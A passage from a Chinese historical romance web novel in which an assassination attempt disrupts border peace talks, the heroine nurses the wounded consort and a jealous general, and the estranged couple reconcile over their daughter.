睁眼一看是沈棠宁在冷冷瞪着他,他攥的是沈棠宁的手。 谢瞻一愣,眼中火气消了,肿疼的脸在她清凉的掌心里蹭了下。 “宁宁,你打我?脸做什么?”他疑惑地问。 沈棠宁登时又羞又气。 床.笫之间,谢瞻总喜欢唤她什么宁宁团团的,乱叫一气。 “你闭嘴!你今晚去哪儿了,喝成这?样,你还记不记得明天是什么日子!” 谢瞻酒醒了大半,赶紧正色道:“明日是和谈之日,我?记得……我?没喝多,就喝了两杯,这?会子是有些困乏了……” 说着说着心虚起来,暗骂榆林县令那个老东西,白天他没听清这?老家伙要带他去哪里,晚上和秦王进了门,一人?位置上坐着一个衣着清凉的艳姬朝着两人?扑过来,这?才?反应过来这?老家伙居然敢带他来勾栏谈事。 那位秦王倒是个霁月光风的,不待他开口便当场发作,吓得当场所有人?都跪在地上瑟瑟发抖。 最后,众人?移步去了附近的酒楼。 谢瞻心情不快,便多喝了两杯。 当然,他对自己的酒量有数,这?点子酒自然喝不倒他。 何况明日有要事,谢瞻和秦王等人?谈完正事便离开了,上马时头脑有些昏沉,便寻思着早些睡了明天还能早起。 见他眼神清楚,说话尚有条理,沈棠宁就懒得再?去管他了,让锦书把醒酒汤丢桌上,主仆三个离开了。 第65章 榆林地处大周与?契国的交界处,草原成片,土壤肥沃,交通四通八达,乃本朝的九边重镇之一,兵家必争之地,每年此地来往经商的契、奚、丹等外族人?数不胜数。 为了显示本朝的诚意,在经过隆德帝批准之后?,谢瞻特将和谈地点设在了榆林城外三十里,青云山上的青云寺之中。 青云寺依山傍水,风景秀丽,从寺顶眺望而去,只见远处青山连绵,山底碧水悠悠,隐约可见其它古刹藏于山林之中,或是?拔地而起,其上装饰繁复的莲花金器与?精湛的石雕令人?叹为观止,肃然?起敬。 微风拂过,叶声萧簌,头顶骄阳如火。 山底下?的大帐中,周人?与?契人?两人?各自在无定河边的这片丛林中划地而歇,等待山上的和谈结束。 这次和谈,契国的来使似乎除了有契国的枢密院副使执失伯都?,马车上还有一位更为尊贵的使者。 只是?这位使者始终坐在密不透风的车辇当中,除了负责这次和谈的核心人?物,契人?同样不知道此人?是?谁,更别提周人?士兵。 到了晌午,金乌高悬天际,两方军队依旧正襟危立,鸦雀无声地矗立在无定河两岸,热风拂过,有人?去擦头顶的汗水,忽听山顶上传来“砰”的一声巨响,三支穿云箭在空中接连划过。 这是?契人?的信号箭,意味着山顶出事了。 契人?士兵看了不由大惊失色,纷纷聚在一处露出愤怒的表情,捶胸顿足,口中骂着契语,举起弓箭便朝着河对岸的官兵射来。 “他们这是?什么意思!?” “混账东西,我看分明是?他们借着和谈的由头欲对咱们秦王殿下?行不轨!” 契军哗变,官兵也不是?吃素的,有脾气暴躁者当即就?要举起弓箭予以还击,官兵的首领姜磐立即厉声喝止了这场闹剧。 “住手,我看谁敢动?手,把弓弩都?给我放下?!敢率先动?手者,军法处置——” 制止了自家,姜磐又提起一口气,转向面朝河对岸。 “事情都?没有搞清楚究竟发生了什么,你们的使者还在山上向你们求救,你们难道就?只顾着宣泄怒气?!” 姜磐喊的是?契语,他声音中气十足地传到了河对岸,契人?们适才自然?是?一时?激愤,闻言也顾不得报仇了,连忙由首领整饬了队伍便往上山奔去。 就?在昨夜,谢瞻与?秦王商议过后?将五百精锐带到城外,三百名精锐带入寺中,在城内留下?另外两千多名的官兵护城。 那求救信号确实是?契人?发出的,此时?山顶的青云寺中,正经历了一场猝不及防惊心动?魄的刺杀。 和谈将至尾声之前一切顺利,宾主尽欢,众人?谈笑风生,颇有意犹未尽之意,这时?有丫鬟到厅中上茶,茶水添到坐在和谈正中央的那名契人?主使时?,丫鬟突然?脸色一变,从袖中抽出一把匕首便朝着当中这名主使便刺了过去。 幸好伯都?反应及时?用身体挡了一下?,却仍是?被那丫鬟伤了主使。 谢瞻上前欲要擒拿这女?刺客,熟料她见一击不成,又生杀心,迅速举起匕首朝着已受伤的契人?主使再?次捅去。 这刺客武艺高强,竟是?刀刀狠辣致命,直击要害,若无伯都?与?谢瞻护着,只怕主使要被伤及性?命。 与?此同时?,就?在众人?的注意力被这名丫鬟吸引去时?,厅外传来呼喊声,屋外立着的七八名周人?士兵竟也纷纷倒戈,对着身侧站立的契人?守卫挥刀而去。 场面一度混乱无比。 那扮作丫鬟的刺客眼见打不过谢瞻,举起匕首往脖子?一抹自尽而死?。 伯都?抱着浑身是?血的察兰汗妃怒道:“两国交战尚不斩来使,秦王,谢临远,我没想到你们竟做出此等背信弃义?之举!倘若今日汗妃有任何性?命之虞,必定引得大汗震怒,届时?我们契国的铁骑兵临城下?,血流千里,这难道就?是?你们口中所谓的倒戢干戈,天下?太?平!” 谢瞻一面阻挡那欲要冲进来的刺客,一面喝道:“你既都?知道还在这里废话什么?若我谢瞻真想杀了汗妃,何必要一个笨手笨脚的丫鬟来动?手,只需在你们一进门时?便将大门关闭,下?令格杀勿论岂非更简单?” 秦王也说道:“执失将军,谢将军说得对,这样做除了使我大周落得一个背信弃义?的名声外,只会挑起两国战火,于大周无丝毫益处!我们与?其在这里与?相互指责推诿责任,不如先救察兰汗妃!” 原来这次契国和谈的主使不是?旁人?,正是?察兰汗妃本人?。 察兰汗妃肩头中了一刀,失血过多,此刻虚弱地躺在伯都?怀中,闻言拉住伯都?道:“伯都?,不要意气用事,被愤怒冲昏了头脑,谢将军和秦王殿下?说得对,你先扶我起来。” 她说的是大周官话,字字清楚。 秦王与?谢瞻对视一眼,谢瞻出去处置那几名倒戈的周人?官兵,秦王立即吩咐下?去,命人?去找大夫过来给察兰汗妃包扎伤口。 有察兰汗妃和伯都?发话,双方士兵的情绪都?平复了下?来,很快便将这七名倒戈的官兵拿下。 这七人?都?是?死?士,凡是?束手就?擒之人?,口中皆流出浓黑的鲜血,倒在了地上。 见同伴纷纷服毒而死?,那最后?一名死?士正想咬牙追随,不料一物倏地弹射到了他的脸上,下?颌剧痛,死?士头晕眼花,后?退几步,紧接着膝盖又被人?压着狠狠一踢,被迫跪倒在了地上。 谢瞻捡起地上的扳指,眼疾手快扒开这人的口腔,将他牙中的毒囊拔去,用汗巾子?包好放入怀中,再将这人一掌砍晕,动?作行云流水,干脆利落。 “将他带回去好生看管,莫要让他丢了性?命。” 谢瞻擦干净手,冷冷说道。 …… 且说沈棠宁尚不知今日青云寺中的一番惊心动?魄,在房内焦灼等待。 谢瞻担心和谈中出现变故,不论沈棠宁如何求他,都?断然?不许沈棠宁跟过来。 谢瞻这人?,小事上他自是?对沈棠宁无所不应,但大事上,沈棠宁也左右不得他的决定。 秦王与?谢瞻天不亮便绝早离开,至今走了已有两个时?辰,眼看快要到晌午时?分,沈棠宁不知为何心口乱跳,很不踏实。 外面传来一阵喧嚷声。 锦书“蹭的”地站起来。 “定是?和谈结束了……” 掀帘刚要出去,却听窗外一阵急促的脚步声和叫喊声离得越来越近。 “这边,快来这边!” 沈棠宁心下?一沉,快步揭帘出去,果见一行人?朝着上房大门这边急走,那为首的男人?满头大汗,穿着一身契国的官服,怀中抱着个昏迷不醒的女?子?,急忙上前去迎。 “伯都?将军,这是?出什么事了?” 伯都?抬眼一看,是?沈棠宁。 他来不及回答,道了一声多谢,在沈棠宁的指引下?将察兰汗妃小心放到了里屋的床上。 两军随行都?带了军医,但在青云寺时?条件不便,军医碍于身份,便只替察兰汗妃简单包扎了伤口,而将其送回契国,一路路途颠簸,又于伤势不利。 伯都?当机立断,亲自带着察兰汗妃入了榆林城。 沈棠宁查看了下?察兰汗妃的伤势,她不知对方身份,但从伯都?的重视紧张程度,与?此女?的穿着打扮来看,猜测这女?子?的身份不一般。 她命锦书去端热水,韶音去找药箱,长忠去找县里医术最好的女?医,自己则去衣柜中找出了一套干净的衣裙拿过来。 若是?床上的这位是?寻常女?子?便罢了,偏这位是?汗王最宠爱的汗妃,军医们都?是?男人?,不好直接解开汗妃的衣服冒犯,一个个面面相觑,伯都?也是?犹豫不决。 沈棠宁让他们都?背过身去回避。 “事急从权,此时?便顾不得什么男女?之防了,我先来解衣服,等会儿你们来查看伤势。”她说道。 众人?都?看向伯都?,伯都?看了一眼沈棠宁。 “都?按沈夫人?的话去做!”他命令道。 一番折腾下?来,总算是?将伤口处理好上了药。 伯都?等人?在外间议事,沈棠宁就?坐在耳房里烧热水。 从刚刚众人?的对话中,她已经得知了这床上女?子?的身份,原来她便是?那位默答汗宠爱了十年的察兰汗妃。 听闻察兰汗妃十五岁入宫,十七岁时?便生下?了默答最钟爱的三王子?阿弥坦,自察兰汗妃入宫之后?,默答后?宫之中便再?无其它女?人?的子?嗣降生。 可惜阿弥坦六岁那年死?在了宗缙的手下?,此后?察兰汗妃又育有一子?一女?,盛宠十数年不衰,地位仅次于默答的结发妻子?,西契可敦。 而这位西契可敦不受默答宠爱,膝下?空悬,有传言称,默答过世后?将传位于察兰汗妃的儿子?四王子?呙力。 “沈夫人?,刚刚多谢你了。” 听到伯都?的声音,沈棠宁回过了神来。 她放下?手中的炭火钳,起身走上前,询问道:“伯都?将军,汗妃可醒了?” 伯都?叹了口气,“还在昏迷,不过军医说伤势虽重,却没有伤及要害,这次多亏了沈夫人?。” 沈棠宁说道:“分内之事,不足挂齿,不知这次行凶之人?究竟是?谁,可有抓到刺客?” “抓到了一名刺客,是?在宴客厅外看守的周人?卫兵,谢将军已经将人?拿去审问了。” 伯都?将刺客行凶时?的大体经过给沈棠宁描述了一下?。 沈棠宁忙问:“临远他没事吧,有没有受伤?” 伯都?一笑,“谢将军的身手,这你不消担心。” 沈棠宁松了口气,想到一事,娥眉又深深蹙了起来。 “为了此次和谈,陛下?特命五皇子?秦王殿下?前来,足见对和谈之重视,这行凶的幕后?之人?,怕是?要存心破坏和谈与?我们两国的关系,还望伯都?将军能够明察秋毫,勿要中了小人?的鬼蜮伎俩。” 伯都?抬手道:“沈夫人?放心,这次和谈谁的获益最大,谁便是?那幕后?之人?,汗妃心内如明镜一般清楚。只要谢将军能令那刺客开口,一切便可豁然?开朗。” 话毕目光一扫,忽见沈棠宁手背上有两道暗红色的血痕,在那雪白的手背上甚是?瞩目,立即用衣袖隔着,握住了她的手背道:“沈夫人?,你手受伤了,怎么自己都?没看到?” 沈棠宁一怔,伯都?不说,她都?没发现自己手背上还受了伤。 “许是?替汗妃清理伤口的时?候不仔细被刀划伤,伯都?将军,不碍事的……”她躲闪了一下?,将手背到身后?。 伯都?想到周人?不同于契人?的风俗习惯,对女?人?的言谈举止近乎苛刻地限制,到底没再?说什么,只是?从怀里拿出一瓶上好的金疮药递给她。 “这不是?小伤,回去记得擦药,这疮药是?我常用的,用了不易留下?疤痕。” 他细心地叮嘱,他的动?作话语亦是?一如既往的令人?如沐春风。 沈棠宁忍不住抬眼看向他。眼前的男子?眉眼清俊,气质文雅,分明通身都?是?典型的周人?气派,唯有一双眼睛如同契人?的鹰隼般锐利。 可每回注视着他那双琥珀色的眼睛,她都?仿佛曾经被无数次地注视过。 很难相信,她会对一个契国的男子?生出这样既熟悉,又难以自抑的亲近濡慕之情。 她轻声道:“伯都?将军,你曾说你是?汗妃的养子?,我想冒昧地问一句,你的生身父母……?*” “混账东西,放肆!” 身后?突然?传来一声夹杂着怒气的沉喝,沈棠宁一惊,旋即便觉身后?快步冲过来一个身影,攥着她的手腕向后?用力一拽。 沈棠宁踉跄了两下?,就?被谢瞻扯到了他的身后?去。 下?一刻,伴随着沈棠宁的尖叫声,谢瞻的拳头朝着伯都?的脸就?挥了过去。 伯都?一时?不备,兼之他为察兰汗妃挡刀也受了伤,未来得及处理,便没能躲开谢瞻这充满愤怒力道十足的一拳,狼狈地倒在了地上。 “你疯了,你做什么,谢临远,放开我!” 沈棠宁大吃一惊,连忙使出吃奶的力气挣开了谢瞻,上前扶起了伯都?。 却见伯都?的右手手臂不知何时?也受了伤,因那衣服的颜色是?黑色,将血色掩盖在了其中。 她刚用手扶过,觉掌心濡湿黏腻,收回一看,竟见满手血红,登时?颤了声。 “你受了这么重的伤怎么也不说?别动?……锦书,快把药箱拿过来!” 谢瞻气得脸色铁青。 进门时?看见她和这契人?举止亲密,那个契人?握着她的小手说话,尤其是?她看这契人?的眼神,眼里的温柔几乎都?要化成水溢出来了。 现下?又见她为了这契人?红了眼眶失了分寸,对他压根不屑一顾的模样,谢瞻只觉胸臆中一股怒气翻涌乱窜,几欲疯了,上前拽住沈棠宁的手。 “你和我出去,他自不用你管!” “你是?我什么人?,你凭什么来管我?谢将军你别忘了,你早给了我和离书,我们两个已经和离了!”沈棠宁挣他的手。 谢瞻脸上仿佛罩了一层千年寒霜,反剪住她挣扎的双手,“那又如何!只要我一天没有公之于众,你就?还是?我的女?人?!你现在给我回房去!” 沈棠宁既惊且怒,“什么你的我的!你简直不可理喻,你能去青楼楚馆眠花宿柳,凭什么我就?不能和别的男人?说话,伯都?将军救过我的性?命,我是?为了报答他的恩情才为他担心,你以为人?人?都?和你一样龌龊!” 谢瞻怒极反笑,“我龌龊?沈棠宁,你好得很!他救过你,难道我就?没有救过你,你竟为了一个外人?来质问我,还有……你给我把话说清楚,谁去青楼楚馆眠花宿柳了?你给我说清楚!” 沈棠宁被他逼问的不胜其烦,无意瞥见锦书端了药箱,却站在门外踟蹰不前。 这才骤然?反应过来伯都?还在两人?身后?,她一时?情急,居然?与?谢瞻在大庭广众之下?就?不管不顾地吵嚷了起来,也不知有没有被其他官员使者听了去。 念及此处,不由偷偷瞥了一眼身后?的伯都?,果见伯都?已经闭眼假寐在床上,顿时?羞愤得一张俏脸通红。 “你别闹了,快松手吧,”她无奈地压低了声音,“伯都?将军受了伤,我先给他上药……” “不行,你跟我回去!” “……” 沈棠宁只得和伯都?道了歉,嘱咐锦书给伯都?上药,怏怏不乐地被谢瞻拉着回了房去。 谢瞻冷嘲热讽道:“你操些闲心不管用,人?家堂堂枢密院副使,绝不会为了娶你一个外族女?子?断送大好前程。” 又警告道:“你别忘了,你就?算跟我和离,也是?有孩子?的妇人?,做任何事之前先想想圆姐儿!” 这就?是?拿孩子?来威胁她了,明明她只是?给伯都?上药,说了几句话,怎么好像真做了什么见不得人?龌龊事一般! 沈棠宁简直心肝肺都?要被气炸了,进门就?“砰”的一声关了门,把谢瞻关在了门外。 在床上蒙着被子?闷闷躺了一会儿,听着外面没有声音,这才打开房门。 锦书在门口站着,见她出来忙问她饿不饿,要不要先吃晌饭,沈棠宁问谢瞻去哪儿,锦书道是?不知。 沈棠宁料想众人?在青云寺中忙活一通该是?饿极了,赶紧打发让锦书去灶房喊人?做饭给大家分发下?去。 锦书应诺而退,她记挂着察兰汗妃和伯都?的安危,则去到了上房。 上房中,丫鬟都?在外面守着,屋里除了依旧昏迷不醒的察兰汗妃,只有伯都?一人?寸步不离地守着。 谢瞻那一拳打在了伯都?的左半边脸上,从颧骨连带着嘴角一片都?红肿着,沈棠宁看得既愧疚又尴尬,硬着头皮问他伤势如何。 伯都?说道:“你放心,小伤而已,我现在只担心汗妃。” 沈棠宁上前为察兰汗妃把了脉。 去年一年跟着谢瞻和军队东奔西走,闲来无事时?沈棠宁就?在伤兵营中跟着军医给伤兵们看病,或是?琢磨着看些医书,短短一年下?来医术便大有长进。 察兰汗妃脉象平和,应是?没有什么大问题,她又查看了伯都?包扎完毕的伤口,这才放下?心来,与?伯都?闲聊了片刻,问过伯都?的出生年月。 伯都?说道:“沈夫人?,千万莫要因我伤了你与?谢将军的夫妻情分。” 沈棠宁心道她都?要与?谢瞻和离了,哪里讲什么夫妻情分。 “哪里,是?我们让将军你遭了这无妄之灾,我心里实在愧疚,希望我二人?之过,不要影响两国的关系才是?。” 伯都?摇头笑道:“谢将军是?呷醋,一时?情急才误会了我,说来今日也是?我不知分寸在先,谢将军救了我与?汗妃,是?我该向他致歉,感谢他才对。” “呷醋?”沈棠宁一愣。 “难道不是?吗?” 伯都?笑了起来,“若我有沈夫人?这般貌美心善的夫人?为妻,定然?也如谢将军一般处处紧张回护,生怕旁人?占了夫人?半分便宜。” 伯都?有事离开后?,沈棠宁便留在房中照顾察兰汗妃。 到傍晚时?分,沈棠宁外出端药,回房时?察兰汗妃已醒过来,由她的婢女?扶着靠在了枕上,见有人?进来,抬起头微微笑了起来。 沈棠宁眼前一亮。 这无疑是?一位极美丽的女?子?。 在京都?时?人?人?都?夸她是?京都?第?一美人?,但今日见了这位察兰汗妃,沈棠宁顿生羞愧之心。 察兰汗妃看着约莫三十岁许,肤色雪白莹润,两道细长的眉如含翠远黛,眼瞳的颜色是?极漂亮的翠绿色,鼻梁高挺。 与?从前沈棠宁见过的那些高大健美的契人?女?子?皆不同,她的容貌既有契人?女?子?的异域风情,艳丽无双,又融合了周人?女?子?五官小巧精致的特色,容貌之姝丽,世间罕有。 “这位便是?谢夫人?吧,适才我的婢女?与?我说过了,多亏了谢夫人?与?你的夫君谢将军,否则今日只怕我性?命不保。”说着便要施礼。 沈棠宁忙扶住察兰汗妃。 “汗妃莫要如此,都?是?妾与?外子?分内之事,”又惊讶道:“汗妃会说周语?” 察兰汗妃微微一笑,她身边的便婢女?掩嘴笑道:“谢夫人?,我们汗妃的母亲辅国夫人?便是?周人?,汗妃自小就?能说一口流利的周人?官话呢!” 身为契人?,察兰汗妃不仅喜爱中原文化,在外人?面前谈论起这些时?,更是?一脸自豪,毫无骄矜不屑之态度。 “原来如此,难怪伯都?将军的中原话说得也是?这样流利!”沈棠宁惊叹。 察兰汗妃闻言却笑道:“伯都?是?周人?,十岁时?我才将他收为义?子?,他的中原话自不必我来教,不仅如此,你们中原的羌笛他吹奏得也是?极好!” 沈棠宁登时?心口狂跳了起来。 “原来伯都?将军也会吹羌笛?真是?巧,不瞒汗妃,妾有一名一母同胞的亲哥哥,他从小也会吹羌笛,可惜九岁时?便与?妾身失散,至今多年杳无音讯,前不久外子?刚在契国帮妾身寻到了家兄的音讯,这也是?妾身跟来榆林的原因。若是?妾身的哥哥还活着,恐怕也有伯都?将军这般年纪了。” 察兰汗妃收敛了笑意,与?身旁的婢女?对视一眼。 片刻后?,那婢女?说道:“谢夫人?,伯都?将军是?周人?不假,但他被汗妃收养时?是?父母俱在。那年汗妃微服出宫游玩,在奴隶市场偶然?遇到将被他的父亲买卖给奴隶主的伯都?将军,当时?将军的父亲见将军不肯就?范,抽了将军数十鞭子?,汗妃见伯都?将军可怜,一时?心软才买下?了将军,从此后?将军便一直陪在汗妃身侧,对汗妃事若生母,至亲至孝。” 见沈棠宁面露失望之色,察兰汗妃柔声安慰道:“谢夫人?你也莫要气馁,这次若非谢将军及时?相救,只怕我已命丧青云寺中,既然?谢将军在契国寻到了令兄的踪迹,那我自当竭力为谢夫人?寻亲。” 沈棠宁喜不自胜,连忙拜谢过察兰汗妃,察兰汗妃让身旁的婢女?将沈棠宁扶起来坐到一边的绣墩上,责怪她太?过见外。 一时?端详沈棠宁的样貌,只觉眼前女?子?一双含情目十分地娇柔动?人?,性?情又善解人?意,将她先前见过的契国最为年轻美貌的美人?都?比了下?去,与?那位英俊威武的谢将军当真般配。 她越看越喜欢,不由赞道:“谢夫人?蕙质兰心,谢将军少年英才,当真是?一对璧人?,不知你们二人?成婚多久了,可有孩子??” 沈棠宁不太?想提这些事,只是?见汗妃饶有兴趣,才附和了两句,末了奉承道:“妾尝汗妃的女?儿乌伦珠公主活泼美貌,是?草原上最绚烂的明珠。” 察兰汗妃眼中却流露出几分苦涩,低声叹道:“可惜乌伦珠与?她哥哥一样,从小就?送到了王太?后?宫中。谢夫人?,我与?你投契,今日便忍不住多说了两句,实不相瞒,我之所以收养伯都?,亦是?因为膝下?太?过寂寞的缘故,他懂事稳重,凡事都?想在我之前,有伯都?这孩子?陪在我的身边,我才觉日子?活泛许多。” “倘若生子?不能养子?,甚至他就?在你的身边,你却不能亲自抚养他长大成人?,只能眼睁睁看着孩子?陪伴在他人?身侧,那对于任何一个母亲来说都?不啻于剜心之痛。” 第66章 伯都陪着察兰汗妃在榆林休养了半月便离开匆匆回了契国的都城和林。 那日谢瞻救下的那名死士在大牢中坚持了三天三夜,身心俱受折磨,最终吐出了实情?。 土勒得知?默答欲遣伯都前往榆林与大周商谈,再次对?伯都动了杀心。 故他费尽心思?,斥巨资买通了周国的士兵,在其中那三百名入寺的精锐士卒中安插了刺客,届时好在宴会上行刺伯都,以嫁祸周国,撇清干系。 土勒没想到的是,这次周契两国和谈,察兰汗妃竟不惜自降身份,不顾危险千里迢迢亲自跑到榆林来谈判。 刺客们临时改变了计划,想要先杀察兰汗妃,再解决伯都,一举解决两个心腹大患。 谢瞻将这名死士挑去手筋脚筋,槛送京都,并向察兰汗妃承诺会处置所有涉案之人,给她与西契一个交代。 在离开榆林之时,谢瞻与秦王骑马五百里亲送察兰汗妃出塞,将其送入西契境内。 察兰汗妃非常感动,代表默答答应一个月后西契将为周国送来三万契人士兵,襄助大周平定张元伦等人的叛乱。 条件便是周国在他日西契动乱时能够助察兰汗妃与默答一臂之力,除去丞相土勒在西契的势力,两国互惠共赢。 那名死士被?送到京师后也是供认不讳,隆德帝命锦衣卫调查,以惩治贪污为由?,很?快便将土勒安插在周国的眼?线及细作,包括济南卫指挥佥事蒙真一一拔除治罪。 只是土勒十分谨慎,这些他在周国埋下的眼?线细作无一人将他供出,默答找不到土勒派人刺杀察兰汗妃的证据,不得不放过了土勒。 但经此?一事后土勒也是元气大伤,多年来在周国的经营几乎毁于一旦,不敢再与察兰汗妃争锋,担心默答找他秋后算账,不久便以身患重病为由?装病辞去了丞相一职回家?养老。 自然,这些尚是后话。 周国,榆林。 和谈与出塞事毕后秦王欲回京都,不过在回京都复命之前,他需临时回一趟西安,处置土勒在陕川等地安插的细作。 于是三人一道?启程,在到达陕西时分道?扬镳,秦王去了西安府,沈棠宁与谢瞻回了平凉。 秦王回京都要经过平凉,一来一回约莫要五六日,沈棠宁收拾包裹准备随秦王一道?离开回京都。 虽说如今战事平歇,张元伦龟缩在蓟州城中不出,毕竟还是兵荒马乱的时令,各地偶有宗张余孽打?着两人的旗号行事,跟着人多势众的秦王回京是再好不过的选择。 沈棠宁把这事让长忠知?会了谢瞻,让他帮忙在秦王那里说一声。 她猜谢瞻估摸着早就?知?道?她有去意,因为回到平凉当夜他来看她,便是看见她在收拾行李。 当时他默默地在窗外站着看了一会儿,就?转头走了。 长忠不知?道?这话怎么和主子开口,但他心里头知?道?,主子定是不愿沈棠宁走的。 他就?是不明白,既然不舍得,为何不开口挽留?他简直要急死了! “爷,我看世子夫人这次去意已决,她若走了回了镇江老家?,说不准以后就?再也不回来了!” “爷您想想,世子夫人若是留在京都,还能多看顾姐儿,她那么疼爱圆姐儿,和温夫人这么多年来又都是住在京都,京都城还有舅老爷一家?,她为何执意要回镇江?这分明是存了以后都不回京都的打?算啊!” “一旦明日一早她走了,便是飞鸟投林,泥牛入海,您以后再想见可就?难了!” 谢瞻先前一直坐着不语,听到这话,霍然起身走了出去。 烛光将白色纱窗上的人影拉得长长的。 屋里,沈棠宁坐在床上做针线。 锦书端着热水走进来,见她忙得额头上沁出了细细的汗珠都来不及擦,忍不住心疼地帮她擦去汗水,劝道?:“姑娘,天色不早了,明儿一早咱们还要随秦王殿下回京都,早些歇了吧。” “不急,我还有最后几针。” 这几日,沈棠宁在房里一坐便是一整天。 从早做到晚选花样、做衣服。 她把圆姐儿两岁,三岁,甚至五六岁的衣服都做好了。 锦书看着低头专注认真给圆姐儿做衣服的沈棠宁,鼻尖一酸,眼?眶里的泪水就?忍不住打?起了转儿。 “哭什么?” 沈棠宁放下针线,叹了口气。 锦书将下巴抵在沈棠宁的双膝上,难受地道?:“姑娘,我不想离开圆姐儿,圆姐儿还那么小,她小时候那么爱黏着您,那样乖巧懂事的孩子,您就真的忍心以后再也不见她?” 怎么可能会忍心呢…… “锦书,天下无不散之宴席。”她轻声道?。 这句话,不知?是说给锦书听,还是说给她自己听。 沈棠宁看着绣绷上的那只栩栩如生?,代表平安顺遂寓意的兽面,眼?前却逐渐模糊了。 她赶紧侧过脸去,借着抬手将针穿过绣棚抹去了眼?角流出的泪。 “好了,时辰不早了,你先去休息吧,待会儿我便……啊!” “姑娘,怎么了!” 先是沈棠宁的痛呼声,紧接着屋里锦书也焦急地叫了起来。 突然有人疾步冲进了屋里。 锦书正手忙脚乱地去找药箱,迎面却见男人一个箭步冲到了沈棠宁面前。 只见那玉葱般的食指上鲜血大颗大颗如豆般滴落下来,他想也不想便将她的食指含入了口中,吮去指腹上的血珠。 沈棠宁震惊地看向他,一时忘记收回自己的手。 待她反应过来,连忙去抽。 “别?动。” 锦书早悄悄退了下去,留下药箱在两人面前。 谢瞻拾起伤药和纱布,将她的食指轻轻缠绕包扎起来,最后似乎是看到她雪白光滑的手背上那两道?已经结痂的血痕,迟疑了一下,抬手刚要抚上去,沈棠宁便收回了自己的手。 “团儿,你还怪我那日伤了执失伯都?”谢瞻低声问。 沈棠宁垂下眼?,沉默片刻。 “你以后,不要再这样冲动了。” “明天一早就?走?” “嗯。你这么晚过来,是有话想对?我说?”沈棠宁问。 她的目光扫过来,谢瞻便下意识地避开了。 片刻后,他强迫自己慢慢抬起眼?,提起一口气,直视着她道?:“是,我有话想对?你说。” 一旁的纱灯中,烛火忽“吡呲”闪烁了下,昏暗的灯光映照在他两道?浓黑的剑眉上,狭长的凤眼?里也映出两簇淡金色的火焰,一动不动地凝视着她。 心跳没来由?地漏了一拍。 沈棠宁怔了一下,再次迅速垂下眼?帘。 “你说。” “你去了镇江,以后还回京都吗?” “……不回了。” “为什么,难道?京都城就?没有一个值得留恋的人?” 他面无表情?地说着,衣袖下的十指却一根根紧紧地攥了起来。 一瞬间,时间仿佛静止一般,耳边只剩下了他的呼吸声与纱灯中灯油在继续“吡呲吡呲”的声音。 直到她平静地回答他:“是。” 悬着的心终于坠了下去。 明明已经知?道?她的答案,为什么还要来试探,来自取其辱? “好,明日一早我便不送你了,珍重。” 谢瞻淡淡说完,转身走了出去。 夜里突然变了天,星月都藏了起来,乌云蔽日,大风呼啸。 许是日有所思?,夜有所梦,沈棠宁在梦里梦见了圆姐儿。 圆姐儿长大了,要出嫁,她听说圆姐儿出嫁的消息,高兴得几日没睡着,从镇江千里迢迢赶到京城来看她。 可等她赶到镇国公府时,女儿已经坐上了花轿。 她苦苦哀求女儿见她一面,女儿却质问她这么多年来对?她不闻不问,如今要出嫁了,她这个当娘的反而想起女儿来了。 圆姐儿不仅不见她,还冷漠地让门?房和管事将她赶出去,说从今往后她都没有她这样狠心的娘。 听着女儿冰冷的话语,沈棠宁心痛如绞,一时哽咽了起来。 越哭越难受,最后竟是嚎啕大哭,泪水如同决堤的洪水一般。 十几年五千多个日日夜夜,她忍受着锥心蚀骨的思?念就?是为了见女儿这一面,亲耳听到却是她这样绝情?的话语! 这十几年来她也多想来看一看她,这个因她一时之错而阴差阳错怀上的孩子,这个十月怀胎从她腹中呱呱落地的孩子,这个她背负着无数指责与谩骂才?生?下的孩子。 她不敢让女儿知?道?她会有她这样一个落魄而不体面的母亲,不敢去打?扰她的生?活,如果没有她,她永远都会是镇国公府被?姑姑和祖母疼在掌心长大的四小姐。 而她,她又算是什么呢…… “你做噩梦了,宁宁,宁宁……” 耳边仿佛有人焦急地,温柔地呼唤她的名字。 他的胸膛坚实,温暖,充满力量。 这不就?是她在一直苦苦寻觅渴望的怀抱与港湾吗? 沈棠宁紧紧搂着这个怀抱,哭得上气不接下气。 直到窗外骤然响起的惊雷声,她才?回过了神来,身子一僵。 怀里抱着她的男人身上那淡淡的瑞脑香,是谢瞻……意识到不是在梦中,她慌忙推开眼?前的男人,背过身去擦泪。 “做噩梦了,梦见圆儿了?” 背后,他轻轻地问。 沈棠宁鼻尖一酸,两行泪就?止不住地淌了下来。 “我梦见圆儿要出嫁了,可她,她不肯认我!”她闷闷地道?。 谢瞻握住她的单薄的双肩,将她转过身来,面朝向他。 “你既然舍不得,为什么还要装成没事人的样子?” “我不想她以后恨我,怨我是个无能的母亲,如果不能抚养她长大,我又何必还要打?扰她的生?活……” 她那双美丽的眼?眸里满是忧愁与痛苦,眼?尾流下的泪水宛如一颗颗晶莹的珠。 这样的她可怜,又令他无比心疼, 谢瞻终于忍不住道?:“那你就?不要走了,留下来,我们一起把圆儿抚养长大!” 沈棠宁哭声顿了下。 她以为他只是在说笑,并没有回应,只是哭声慢慢停了下来。 反正话已经说出去了,说出去的话,泼出去的水,没有回旋的余地。 原本始终在嘴边打?转的几句话,好像在这一刻突然变得不再难以启齿了。 她不是已经决定再不回京都了吗,倘若沈棠宁拒绝,他得到的也不过是与她再不相见的下场。 他要为自己再争取一次,哪怕得到的依旧是她的拒绝。 至少问出口,从今往后他便不会后悔。 这般一想,竟是豁然开朗,谢瞻抬起沈棠宁的下巴,看着她的眼?睛一字一句认真地道?:“宁宁,我只问你一句话,你愿不愿意与我做一辈子的夫妻,是有名有实的夫妻,我要与你做真正的夫妻!” 这话无疑如惊雷一般,沈棠宁心神巨震,下意识地张大了唇儿,不敢置信地看着谢瞻。 谢瞻说:“如果——我是说如果,你觉得和我过完余生?也许并没有那么讨厌,你也不想离开女儿,我们夫妻二人便一起抚养女儿长大,好吗?” “阿瞻,其实你不必可怜我。” 她摇头,垂下了长长的眼?睫。 “我……你知?道?我被?叛军掳走过,就?算我清清白白,在世人眼?中早已是不贞洁的女子……” “放屁,那都是胡说八道?!”谢瞻打?断她道?:“我早就?说过,我谢瞻从小到大狂悖无礼,不在乎世人的眼?光,什么贞洁名声,我统统不在乎!” “你明明就?知?道?,我娘当年便是死于契人之手,走得不光彩,所以这么多年来我对?契人恨之入骨,却从未有一日怨过我娘。宁宁,被?宗瑁掳走并不是你的过错,不要因为别?人犯下错来惩罚自己。只要你不说,不会有任何人知?道?你曾被?掳走过,你明白吗?” 救出沈棠宁后,看到她因为深中春药而痛苦绝望,他心中唯有心疼自责。 